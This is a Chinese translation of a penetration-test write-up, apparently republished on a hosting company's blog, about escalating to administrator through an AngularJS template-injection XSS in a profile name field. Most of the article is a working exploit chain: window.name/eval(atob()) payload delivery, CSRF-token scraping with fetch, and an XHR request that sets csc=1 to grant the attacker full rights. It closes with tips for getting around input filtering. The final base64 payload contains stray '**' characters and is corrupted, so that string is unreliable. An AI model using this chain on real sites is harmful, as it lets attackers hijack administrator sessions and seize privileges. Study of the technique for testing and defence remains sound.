溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

基于AngularJS如何利用XSS實(shí)現(xiàn)提權(quán)

發(fā)布時(shí)間:2021-11-23 22:28:55 來源:億速云 閱讀:150 作者:柒染 欄目:網(wǎng)絡(luò)管理

這篇文章將為大家詳細(xì)講解有關(guān)基于AngularJS如何利用XSS實(shí)現(xiàn)提權(quán),文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對相關(guān)知識(shí)有一定的了解。

XSS是一個(gè)非常有趣的漏洞,在發(fā)現(xiàn)它之后,你可以直接與應(yīng)用程序進(jìn)行通信,而無需擔(dān)心同源策略。一切都在我們的控制之中,大部分保護(hù)都被打破了。

管理員用戶擁有應(yīng)用程序的最高權(quán)限可以對任意用戶執(zhí)行添加/刪除/編輯操作。而我最終得以提升到管理員權(quán)限就是通過XSS做到的。每當(dāng)我發(fā)現(xiàn)XSS,我都會(huì)嘗試使用一些獨(dú)特的方式來利用它們。令牌抓取,CSRF保護(hù)繞過或是抓取cookie,現(xiàn)在看來已經(jīng)顯得有些過時(shí)。

在我的測試期間,在用戶配置文件頁面我發(fā)現(xiàn)了多個(gè)XSS漏洞。每個(gè)注冊用戶都有不同的配置文件頁面,如“https://www.site.com/users/username-here”。

基于AngularJS如何利用XSS實(shí)現(xiàn)提權(quán)

發(fā)現(xiàn)基于 AngularJS 的XSS:

這是一個(gè)所有特權(quán)用戶均可訪問包含用戶帳戶名和姓的頁面。應(yīng)用簡單的測試探針,如"><img src=x onerror=prompt()>并沒有顯示任何結(jié)果,所以這說明該應(yīng)用已做了適當(dāng)?shù)腦SS保護(hù)。所有特殊字符都被正確過濾,這引發(fā)了我的另一思考,為什么不嘗試獲取基于AngularJS的XSS呢?轉(zhuǎn)到“ settings”并將帳戶名更改為“{{alert(1)}}”。

基于AngularJS如何利用XSS實(shí)現(xiàn)提權(quán)

因此,我以不同的特權(quán)用戶身份測試了相同的內(nèi)容,并導(dǎo)航到了我的配置文件/users/username_page(任何用戶均可訪問)觸發(fā)payload。

基于AngularJS如何利用XSS實(shí)現(xiàn)提權(quán)

當(dāng)嘗試提升權(quán)限時(shí),你的主要目標(biāo)是尋找能夠編輯你角色的功能或是邀請你進(jìn)入不受限區(qū)域的功能。在我的例子中,管理員用戶有權(quán)編輯/添加用戶。

在我的例子中,我有一個(gè)測試管理員帳戶來測試這些問題,所以我知道要添加一個(gè)新的管理員特權(quán)用戶需要復(fù)制什么請求。在沒有訪問權(quán)限的情況下,你只需嘗試通過發(fā)送document.body.innerHTML的輸出來獲取管理帳戶的源碼,并嘗試獲取有關(guān)內(nèi)部功能的信息??梢岳肵SSHunter和其他一些工具來獲取此類信息。

如何提供 payload ?

無論如何,用戶名字段的長度限制很短,因此無法在該字段中編寫整個(gè)漏洞利用代碼。用戶名還會(huì)將條目添加到配置文件頁面,此外它也會(huì)顯示為惡意內(nèi)容。同樣受限于長度,無法注入引用外部JavaScript的腳本標(biāo)記。

與往常一樣,我通過window.name提供payload。我總是通過window.name提供payload,因?yàn)樗鼪]有利用限制,加載我們的漏洞利用代碼的payload限制為20個(gè)字符,因?yàn)槲覀儗⒅患虞d給定的payload并將其提供給eval(atob(top.name))使用這種技術(shù)的另一個(gè)好處是,可以繞過繞過許多惡意關(guān)鍵字的驗(yàn)證檢查,因?yàn)槲覀兊闹饕┒蠢么a不會(huì)被輸入到易受攻擊的應(yīng)用程序中。因此簡而言之,我們的攻擊代碼不會(huì)被驗(yàn)證和檢查。

因此,可以通過使用window.open(url,"window name here") 打開一個(gè)URL來設(shè)置window name,我們將漏洞利用代碼設(shè)置為base64。因此,通過調(diào)用window.name,它將返回我們的漏洞代碼,這些代碼將由eval()執(zhí)行

定位用戶修改功能:

此功能發(fā)現(xiàn)于管理用戶門戶,并且最高權(quán)限用戶能夠任意更改應(yīng)用程序中用戶的數(shù)據(jù)和權(quán)限。這里有不同的選項(xiàng),如電子郵件更改和復(fù)選框,以確認(rèn)用戶是否具有更高的權(quán)限。通過設(shè)置參數(shù)“csc=1”,用戶將被授予full權(quán)限,但此操作只能由管理員用戶執(zhí)行。如果僅檢索源碼,則可以通過執(zhí)行源碼審查來了解哪些端點(diǎn)采用哪些參數(shù)來映射所有功能。

以下是將用戶修改為管理員和完全權(quán)限用戶的請求:

POST /users/attackers-username HTTP/1.1
Host: vulnerablesite.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
_method=PUT&_token=CSRF_TOKEN_HERE&name=USERNAME&email=USER_EMAIL&phone=&csc=1

為了提升我們的權(quán)限,應(yīng)該再現(xiàn)以上請求,這樣當(dāng)更高權(quán)限用戶訪問我們的漏洞利用代碼時(shí),我們的用戶將被修改。

編寫漏洞利用代碼:

我們首先要檢索的是CSRF令牌,這樣我們就可以驗(yàn)證請求。有時(shí)它會(huì)出現(xiàn)在cookie中,因此從document.cookie中檢索它非常容易,但在本例中,是在一個(gè)meta標(biāo)記中找到的:

<meta name="CSRF_TOKEN" content="TOKEN_HERE">

我使用fetch()打開了位于/settings的設(shè)置頁面,并將其輸出存儲(chǔ)在變量woot中。然后我使用woot.getElementsByTagName('meta')[3]['content']來檢索CSRF令牌的值,并將其存儲(chǔ)到新變量csrf_token中,現(xiàn)在我們的漏洞利用代碼如下:

var woot = document.createElement('html');
fetch('https://vulnerablesite.com/settings',{credentials: 'include'}).then((resp) => resp.text()).then(function(data){
woot.innerHTML=data;
var csrf_token = woot.getElementsByTagName('meta')[3]['content']
...
...
...

現(xiàn)在我們將使用XHR重現(xiàn)請求:

function privilege_escalate(){
var req = new XMLHttpRequest();
req.open('POST','https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname',true);
req.withCredentials = true;
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
req.send('_method=PUT&_token='+csrf_token+'&name=Mrs.+Camylle+Kertzmaz%7B%7Beval%28window.name%29%7D%7D&email=user%40example.org&phone=&csc=1');
}

上面的privilege_escalate()函數(shù)在執(zhí)行時(shí)將發(fā)送一個(gè)POST請求,該請求將更改攻擊者帳戶(在我的例子中為mrs-camylle-kertzmazevalwindowname)的信息,并將名稱更改為payload {{eval(atob(window.name))}}這將保留名稱,因此當(dāng)window.name具有漏洞利用代碼時(shí),它將用于從window.name執(zhí)行漏洞利用代碼。此外,該請求的csc=1這將更改用戶的權(quán)限。

最終的漏洞利用代碼:

// XSS Exploit code for Privilege Escalation
// Author: Shawar Khan
var woot = document.createElement('html');
fetch('https://vulnerablesite.com/settings',{credentials: 'include'}).then((resp) => resp.text()).then(function(data){
woot.innerHTML=data;
var csrf_token = woot.getElementsByTagName('meta')[3]['content'];
privilege_escalate();
function privilege_escalate(){
var req = new XMLHttpRequest();
req.open('POST','https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname',true);
req.withCredentials = true;
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
req.send('_method=PUT&_token='+csrf_token+'&name=Mrs.+Camylle+Kertzmaz%7B%7Beval%28window.name%29%7D%7D&email=user%40example.org&phone=&csc=1');
}
}
)

漏洞利用代碼可進(jìn)一步base64編碼并用作window name,因此當(dāng)eval(atob(window.name))執(zhí)行該代碼時(shí)將觸發(fā)它。我們現(xiàn)在可以使用以下代碼打開我們的配置文件頁面,并將我們的漏洞利用代碼設(shè)置為window name。這樣,一旦訪問了window.name,我們的漏洞利用代碼就會(huì)被觸發(fā):

<script>window.open('https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname','dmFyIHdvb3QgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdodG1sJyk7CmZldGNoKCdodHRwczovL3Z1bG5lcmFibGVzaXRlLmNvbS9zZXR0aW5ncycse2NyZWRlbnRpYWxzOiAnaW5jbHVkZSd9KS50aGVuKChyZXNwKSA9PiByZXNwLnRleHQoKSkudGhlbihmdW5jdGlvbihkYXRhKXsKCndvb3QuaW5uZXJIVE1MPWRhdGE7CnZhciBjc3JmX3Rva2VuID0gd29vdC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnbWV0YScpWzNdWydjb250ZW50J107CnByaXZpbGVnZV9lc2NhbGF0ZSgpOwoKZnVuY3Rpb24gcHJpdmlsZWdlX2VzY2FsYXRlKCl7CnZhciByZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKcmVxL**wZW4oJ1BPU1QnLCdodHRwczovL3Z1bG5lcmFibGVzaXRlLmNvbS91c2Vycy9tcnMtY2FteWxsZS1rZXJ0em1hemV2YWx3aW5kb3duYW1lJyx0cnVlKTsKcmVxLndpdGhDcmVkZW50aWFscyA9IHRydWU7CnJlcS5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZ**ybS11cmxlbmNvZGVkIik7IApyZXEuc2VuZCgnX21ldGhvZD1QVVQmX3Rva2VuPScrY3NyZl90b2tlbisnJm5hbWU9TXJzLitDYW15bGxlK0tlcnR6bWF6JTdCJTdCZXZhbCUyOHdpbmRvdy5uYW1lJTI5JTdEJTdEJmVtYWlsPXVzZXIlNDBleGFtcGxlL**yZyZwaG9uZT0mY3NjPTEnKTsKfQoKfQop')</script>

在以下截圖中我們可以看到,我們的用戶可以訪問的功能受限:

基于AngularJS如何利用XSS實(shí)現(xiàn)提權(quán)

而在高權(quán)限用戶成功執(zhí)行漏洞利用代碼后,我們的帳戶擁有了最高權(quán)限以及對管理功能的訪問權(quán)限。如下圖所示:

基于AngularJS如何利用XSS實(shí)現(xiàn)提權(quán)

每當(dāng)測試XSS漏洞時(shí),千萬不要因?yàn)閼?yīng)用程序?qū)τ脩糨斎氲恼_過濾而放棄。你應(yīng)該進(jìn)一步的通過嘗試使用其他技術(shù)來實(shí)現(xiàn)對XSS的有效利用。例如本文中提到的XSS。嘗試使用{{alert(1}}或嘗試上傳.swf,.svg,.html,.url等文件。

永遠(yuǎn)不要停留在漏洞的檢測上,總是試著去了解它的局限性和范圍。在面對XSS時(shí),嘗試與獨(dú)特的功能進(jìn)行交互,而不僅僅只是一個(gè)彈窗。

關(guān)于基于AngularJS如何利用XSS實(shí)現(xiàn)提權(quán)就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI